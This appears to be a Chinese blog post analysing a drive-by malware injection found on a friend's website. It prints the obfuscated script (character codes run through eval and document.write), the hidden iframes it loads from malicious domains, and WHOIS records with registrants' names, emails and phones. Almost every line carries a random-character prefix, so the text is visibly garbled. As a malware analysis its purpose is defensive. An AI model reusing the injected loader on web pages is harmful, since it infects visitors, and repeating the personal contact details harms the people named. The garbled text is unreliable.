首发在我的博客里面，
Jow{7@FG -FS! v^ http://www.areway.cn/?p=175 ' L-h2 ]Na; b -Dwe,N"{2 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
YbF}>1/" n] 8*yoge <script>t=’60,105,102,114,97,109,101,
n T7]PhJ 32,115,114,99,61,104,116,116,112,58,47,47,
# V.u[:mO 102,114,101,101,46,117,45,117,117,117,46,99,
` ( 'NH]^ 110,47,101,114,114,111,114,46,104,116,109,
.M s$)1 32,119,105,100,116,104,61,49,48,48,32,104,
Mehp]5* 101,105,103,104,116,61,48,62,60,47,105,102,
>#y1(\e 114,97,109,101,62′;
=N2@H5+7 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
0x #
V Ym#io] <script>t=’60,105,102,114,97,109,101,32,115,
P]7s1kgaS 114,99,61,104,116,116,112,58,47,47,102,114,
A:\_ \B%< 101,101,46,117,45,117,117,117,46,99,110,47,
@h\i <sh!^ 101,114,114,111,114,46,104,116,109,32,119,
!Pu7%nV. 105,100,116,104,61,49,48,48,32,104,101,105,
Z
ZT2c0AK 103,104,116,61,48,62,60,47,105,102,114,97,
<9x|)2P 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
PiLLUyQx document.write(t);</script>
]'' tuo2g8 t&-c?&FO\; <html xmlns=”
uN0'n}c;1. http://www.w3.org/1999/xhtml &{8[I3#@ “>
`F~Fb S <head>
7'5/T]Z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
KF7d`bRe <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
iHWt;] <title>首页 - 爱生活家庭网
]@qD4: }dSFv
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
}'\M}YM 转换字符串后的大概内容是（谁点击后果自付）：
G~NhBA9 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
7 >gW2 m cSj(u%9 } 查询玉米u-uuu.cn的详细信息：
e XdH)|l,\ Domain Name: u-uuu.cn
*T{KpiuP ROID: 20070901s10001s64972306-cn
lb]k"L%KU7 Domain Status: ok
7VJf~\%1j Registrant Organization: 王雷
d_98%U+ u Registrant Name: 王雷
|h:3BV_ Administrative Email:
czlovexs@126.com 'v@1 _HHW\ Sponsoring Registrar: 北京万网志成科技有限公司
!Tu.A@ Name Server:ns.yovole.com
V{0 V/Nv Name Server:ns1.yovole.com
* =O@D2g0 Registration Date: 2007-09-01 17:54
'eoI~*}3WQ Expiration Date: 2008-09-01 17:54
.|K\1qGW0 最后PING了一下地址 都没有什么….
7p18;Z+6>X Vb2")+*: 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
m >b
i$Y <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
98WJ"f_ # <script language=”javascript” src=”
b$FXRR\G http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ||?wRMV >
I q47^ 这个玉米应该有可能是木马作者的：
St1>J.k_ foafau.info的详细信息：
P+3)YO1C Access to INFO WHOIS information is provided to assist persons in
{K2F(kz?T determining the contents of a domain name registration record in the
zdDJcdbGd1 Afilias registry database. The data in this record is provided by
\ y/+H Afilias Limited for informational purposes only, and Afilias does not
W/;qMP1"- guarantee its accuracy. This service is intended only for query-based
"( ?[$ R access. You agree that you will use this data only for lawful purposes
i)e)FhEY6 and that, under no circumstances will you use this data to: (a) allow,
o6
[i0S enable, or otherwise support the transmission by e-mail, telephone, or
;Y16I#?;Kh facsimile of mass unsolicited, commercial advertising or solicitations
t,; b*ZR to entities other than the data recipient’s own existing customers; or
jdVdz,Y (b) enable high volume, automated, electronic processes that send
*$>$O% queries or data to the systems of Registry Operator, a Registrar, or
s[@@INU Afilias except as reasonably necessary to register domain names or
* -9b!>5eD modify existing registrations. All rights reserved. Afilias reserves
n1c Q#u the right to modify these terms at any time. By submitting this query,
\'N|1!EO|t you agree to abide by this policy.
Bb/aeLv Domain ID:D22418703-LRMS
j Ns eD Domain Name:FOAFAU.INFO
YJwz*@l Created On:20-Nov-2007 16:05:42 UTC
8%9OB5?F6 Last Updated On:20-Nov-2007 16:05:44 UTC
%K]nX#.B& Expiration Date:20-Nov-2008 16:05:42 UTC
0b}lwo, |\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
KBGJB`D* Status:CLIENT DELETE PROHIBITED
uO-R:MC Status:CLIENT RENEW PROHIBITED
/h%MWCZWm^ Status:CLIENT TRANSFER PROHIBITED
:hxZ2O?5_ Status:CLIENT UPDATE PROHIBITED
@)8 C Status:TRANSFER PROHIBITED
h-h}NCP Registrant ID:GODA-040110615
J h:-<x y) Registrant Name:liu hong
3'2}F%!Mv Registrant Organization:
1')/ BM2 Registrant Street1:beijing
s/'gl Registrant Street2:
& ~[%N
O Registrant Street3:
<`m.Vbvm" Registrant City:beijing
dUJNr_ Registrant State/Province:
g@" 6QA P Registrant Postal Code:100000
h Tn^:%( Registrant Country:CN
)+9D$m=P; Registrant Phone:+86.860108888777
rQ$A|GJ L Registrant Phone Ext.:
M>k7
'@G Registrant FAX:
(jYs_8; Registrant FAX Ext.:
D 2Go,1 Registrant Email:bbbshiji@163.com
?8 C+wW Admin ID:GODA-240110615
;3sT>UB Admin Name:liu hong
Sb[rSczS~ Admin Organization:
AjANuyUaP Admin Street1:beijing
a^5`fA/L, Admin Street2:
o-Idr{ Admin Street3:
AQ
7e Admin City:beijing
@4B2O"z` Admin State/Province:
|I+E`,n"b Admin Postal Code:100000
2 5 ZGuM Admin Country:CN
A1ebXXD ) Admin Phone:+86.860108888777
P e wPl0 Admin Phone Ext.:
#-HN[U?Gs Admin FAX:
L
kq>> ?T= Admin FAX Ext.:
%# QFu/l Admin Email:bbbshiji@163.com
?s"v0cg+ Billing ID:GODA-340110615
BtHvfoT Billing Name:liu hong
AYZds >#Q Billing Organization:
Z%OS W Billing Street1:beijing
>6DY3\ Billing Street2:
Z|?XQ-R5 Billing Street3:
'qd ") Billing City:beijing
"^D6%I#T Billing State/Province:
I3 x}F$^ Billing Postal Code:100000
rz BWk Billing Country:CN
Y)
t}%62 Billing Phone:+86.860108888777
L2h+[f Billing Phone Ext.:
P*T) /A%4 Billing FAX:
G<dXJ ]\\ Billing FAX Ext.:
4 z`5W, Billing Email:bbbshiji@163.com
h B+ t
pa Tech ID:GODA-140110615
r#}Sy \ Tech Name:liu hong
Fszk?0T Tech Organization:
B&$89] gs| Tech Street1:beijing
5Q}@Y3 i= Tech Street2:
2$ rq Tech Street3:
y d$37G|n Tech City:beijing
0 Yj y Tech State/Province:
&4[iC/} Tech Postal Code:100000
1<p"z,c Tech Country:CN
E>1 USKxn Tech Phone:+86.860108888777
vPs X!m[# Tech Phone Ext.:
KE3v3g< Tech FAX:
o <'gM]$ Tech FAX Ext.:
]/'] {*T1 Tech Email:bbbshiji@163.com
%% >?<4t Name Server:NS27.DOMAINCONTROL.COM
ZF/K V\Ag) Name Server:NS28.DOMAINCONTROL.COM
(~GFd7 Name Server:
-ur]k]R Name Server:
~Iu09t|a Name Server:
9 $ S,P| Name Server:
!jW32$YTR Name Server:
'x0t,
;g Name Server:
vSA%A47G Name Server:
u@E M,o Name Server:
dW`D?$(@, Name Server:
`IoX'|C[h Name Server:
7. .vaq# Name Server:
GXRjR\Ch Em;b,x*U 接着下载每个文件里面的代码：
f)x}_dw% 一步一步看..
!q/lgpEi 
YM|S< 
]EnaZWyO] 
hI8C XG 
d"UW38K{ 
kU/=Du 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
